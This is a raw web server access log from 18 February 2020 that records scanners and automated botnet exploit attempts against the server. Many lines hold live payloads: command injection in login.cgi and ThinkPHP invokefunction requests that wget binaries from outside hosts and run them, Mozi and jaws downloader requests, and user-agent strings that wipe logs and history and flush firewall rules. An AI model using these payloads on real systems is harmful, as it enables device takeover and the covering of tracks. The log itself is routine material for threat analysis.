118.190.144.19 - - [18/Feb/2020:04:11:57 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
198.108.66.161 - - [18/Feb/2020:04:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
71.77.51.27 - - [18/Feb/2020:04:14:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
211.192.224.217 - - [18/Feb/2020:04:15:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [18/Feb/2020:04:15:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [18/Feb/2020:04:15:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [18/Feb/2020:04:15:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [18/Feb/2020:04:16:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
51.254.59.113 - - [18/Feb/2020:04:17:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
124.47.8.10 - - [18/Feb/2020:04:21:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.73.76.230 - - [18/Feb/2020:04:22:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
178.73.215.171 - - [18/Feb/2020:04:25:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
198.108.66.161 - - [18/Feb/2020:04:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
45.17.126.180 - - [18/Feb/2020:04:30:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.85.91.19 - - [18/Feb/2020:04:32:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.19.119.8 - - [18/Feb/2020:04:33:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
217.16.81.255 - - [18/Feb/2020:04:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
110.153.71.38 - - [18/Feb/2020:04:41:05 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://172.36.35.132:42485/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
88.34.126.169 - - [18/Feb/2020:04:42:39 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
201.238.198.130 - - [18/Feb/2020:04:43:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
62.97.35.153 - - [18/Feb/2020:04:43:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
119.52.212.249 - - [18/Feb/2020:04:44:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
192.241.208.155 - - [18/Feb/2020:04:45:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.208.155 - - [18/Feb/2020:04:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.208.155 - - [18/Feb/2020:04:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.208.155 - - [18/Feb/2020:04:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.208.155 - - [18/Feb/2020:04:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.208.155 - - [18/Feb/2020:04:49:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.208.155 - - [18/Feb/2020:04:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
66.249.75.4 - - [18/Feb/2020:04:58:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
178.73.215.171 - - [18/Feb/2020:04:59:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
92.118.160.57 - - [18/Feb/2020:04:59:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
66.249.75.4 - - [18/Feb/2020:05:04:01 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "-" "Googlebot-Image/1.0"
35.229.163.103 - - [18/Feb/2020:05:04:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.114.192.235 - - [18/Feb/2020:05:09:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
78.164.99.12 - - [18/Feb/2020:05:17:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
121.178.8.198 - - [18/Feb/2020:05:19:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [18/Feb/2020:05:19:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [18/Feb/2020:05:19:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [18/Feb/2020:05:19:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [18/Feb/2020:05:19:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.237.78.14 - - [18/Feb/2020:05:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
46.34.178.180 - - [18/Feb/2020:05:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
95.173.232.230 - - [18/Feb/2020:05:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
35.220.160.88 - - [18/Feb/2020:05:29:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.77.51.27 - - [18/Feb/2020:05:39:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
151.73.93.158 - - [18/Feb/2020:05:40:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.115.84.158 - - [18/Feb/2020:05:48:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.164.35.72 - - [18/Feb/2020:05:48:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [18/Feb/2020:05:48:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [18/Feb/2020:05:48:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
93.184.148.13 - - [18/Feb/2020:05:48:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.164.35.72 - - [18/Feb/2020:05:49:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [18/Feb/2020:05:49:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
61.219.11.153 - - [18/Feb/2020:05:52:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [18/Feb/2020:05:52:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
92.242.221.91 - - [18/Feb/2020:05:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
88.234.211.178 - - [18/Feb/2020:05:53:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
79.49.74.219 - - [18/Feb/2020:05:54:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.97.196.40 - - [18/Feb/2020:05:54:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
176.40.220.249 - - [18/Feb/2020:05:55:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
176.40.220.249 - - [18/Feb/2020:05:55:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
176.40.220.249 - - [18/Feb/2020:05:55:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
36.236.12.44 - - [18/Feb/2020:06:01:50 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
85.97.196.40 - - [18/Feb/2020:06:03:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
85.97.180.115 - - [18/Feb/2020:06:12:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.85.91.19 - - [18/Feb/2020:06:13:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.191.92.44 - - [18/Feb/2020:06:15:01 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [18/Feb/2020:06:15:02 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [18/Feb/2020:06:15:03 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [18/Feb/2020:06:15:04 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [18/Feb/2020:06:15:04 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [18/Feb/2020:06:15:05 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [18/Feb/2020:06:15:05 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [18/Feb/2020:06:15:06 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [18/Feb/2020:06:15:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.162.119.197 - - [18/Feb/2020:06:26:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
188.158.91.120 - - [18/Feb/2020:06:29:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.161.99.72 - - [18/Feb/2020:06:30:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [18/Feb/2020:06:30:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [18/Feb/2020:06:30:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [18/Feb/2020:06:30:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [18/Feb/2020:06:31:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
49.232.39.104 - - [18/Feb/2020:06:32:32 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.232.39.104 - - [18/Feb/2020:06:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [18/Feb/2020:06:33:38 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [18/Feb/2020:06:33:38 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [18/Feb/2020:06:33:38 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [18/Feb/2020:06:33:39 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [18/Feb/2020:06:33:39 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [18/Feb/2020:06:33:39 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [18/Feb/2020:06:33:39 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [18/Feb/2020:06:33:39 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [18/Feb/2020:06:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
175.136.0.228 - - [18/Feb/2020:06:35:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
154.125.11.123 - - [18/Feb/2020:06:45:53 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
85.65.133.249 - - [18/Feb/2020:06:47:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
113.68.139.223 - - [18/Feb/2020:06:51:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
139.162.119.197 - - [18/Feb/2020:06:52:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
78.163.188.47 - - [18/Feb/2020:06:55:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
148.71.44.68 - - [18/Feb/2020:06:56:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.78.26.21 - - [18/Feb/2020:06:58:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
138.99.216.147 - - [18/Feb/2020:07:00:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.147 - - [18/Feb/2020:07:00:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.147 - - [18/Feb/2020:07:00:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.147 - - [18/Feb/2020:07:00:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:07:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.99.216.147 - - [18/Feb/2020:07:01:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
